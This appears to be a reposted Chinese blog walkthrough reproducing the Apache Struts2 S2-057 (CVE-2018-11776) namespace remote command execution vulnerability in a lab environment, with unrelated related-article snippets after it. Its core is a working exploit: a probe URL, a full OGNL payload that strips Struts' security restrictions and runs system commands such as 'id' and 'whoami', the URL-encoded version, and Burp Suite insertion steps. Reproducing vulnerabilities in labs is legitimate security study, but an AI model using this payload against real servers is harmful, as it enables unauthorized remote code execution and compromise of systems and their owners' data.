Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去。启动环境后,在Win10上访问http://IP:port/struts2-showcase1.构建Payload:访问:http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action.

大家好,又见面了,我是你们的朋友全栈君。

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

启动环境后,在Win10上访问http://IP:port/struts2-showcase

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

1.构建Payload:

访问:

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到233 * 233的结果已在Location标头中返回。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

将以下payload进行URL编码:

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL编码后

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

并在burpsuit的GET /struts2-showcase/$%7B233*233%7D/actionChain1.action HTTP/1.1中将URL编码的插入到/$%7B233*233%7D/ ,将$%7B233*233%7D去掉。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/158495.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • VIF 多重共线性膨胀因子

    VIF 多重共线性膨胀因子方差膨胀系数(varianceinflationfactor,VIF)是衡量多元线性回归模型中复(多重)共线性严重程度的一种度量。它表示回归系数估计量的方差与假设自变量间不线性相关时方差相比的比值。多重共线性是指自变量之间存在线性相关关系,即一个自变量可以是其他一个或几个自变量的线性组合。若存在多重共线性,计算自变量的偏回归系数时矩阵不可逆。其表现主要有:整个模型的方差分析结果与各个自变量的回归系数的检验结果不一致,专业判断有统计学意义的自变量检验结果却无意义,自变量的系数或符号与实际情况严重不符等

  • VS中新建Qt项目工程后显示无法打开源文件“QtWidgets/QApplication”的解决方案「建议收藏」

    VS中新建Qt项目工程后显示无法打开源文件“QtWidgets/QApplication”的解决方案「建议收藏」环境:VS2015+Qt5.6在vs中新建工程后一般都会显示无法打开源文件“QtWidgets/QApplication”,就像这样:这是什么原因呢?这是因为,新建Qt项目时VC++包含目录没有自动包含Qt所需要的头文件路径,需要手动添加,具体操作步骤如下:1.在工程中右击项目,点击属性。2.选择VC++目录->包含目录,按图所示步骤操作。3.选择Q…

  • 人人工势场法

    人人工势场法人工势场法是局部路径规划的一种比较常用的方法。这种方法假设机器人在一种虚拟力场下运动。一、简介如图所示,机器人在一个二维环境下运动,图中指出了机器人,障碍和目标之间的相对位置。 这个图比较清晰的说明了人工势场法的作用,物体的初始点在一个较高的“山头”上,要到达的目标点在“山脚”下,这就形成了一种势场,物体在这种势的引导下,避开障碍物,到达目标点。

  • 虚拟机下安装配置Fedora12

    虚拟机下安装配置Fedora121.安装VMware7.0(貌似之前版本对Fedora12的图形界面支持不是很好,本人未实验)2.新建虚拟机,选择存储位置并分配硬盘空间(想给50G来着,后来分了30G结果发现还是多了,用不了)我选择了分割存储,每2G一个文件,因为感觉一个几十G的文件看着就好恶心……移动起来也很费事。3.分配内存CPU,Fedora12推荐512M以上,不过实践证明1G依然偶尔出现窗口滞留现象(图形界面),想用图形的还是给1G吧。4.选择操作系统,选择以后再装,因为默认支持里没有Fedora。5.完

  • 网络带宽是什么?「建议收藏」

    网络带宽是什么?「建议收藏」1.网络带宽是指单位时间内能传输的数据量,带宽是为了表示网络中传送数据的能力。2.它的单位是bit/s.实际上4M带宽,由于bit和byte之间的转换,实际上理论传输速率为512KB/s

  • Pycharm怎么改背景颜色(超详细)「建议收藏」

    Pycharm怎么改背景颜色(超详细)「建议收藏」1.首先打开Pycharm,点击file(文件),在点击settings(设置)点击Editor(编辑器),点击ColorScheme(色彩方案),再点击ConsoleColors(控制台颜色)打开控制台颜色之后,看Scheme(方案),下拉找到你自己喜欢的颜色,在下面的框框里面可以看到你换好的颜色的样子,随后再点击OK。最后再点击yes,我们的背景颜色就换好了哈哈哈哈哈希望可…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号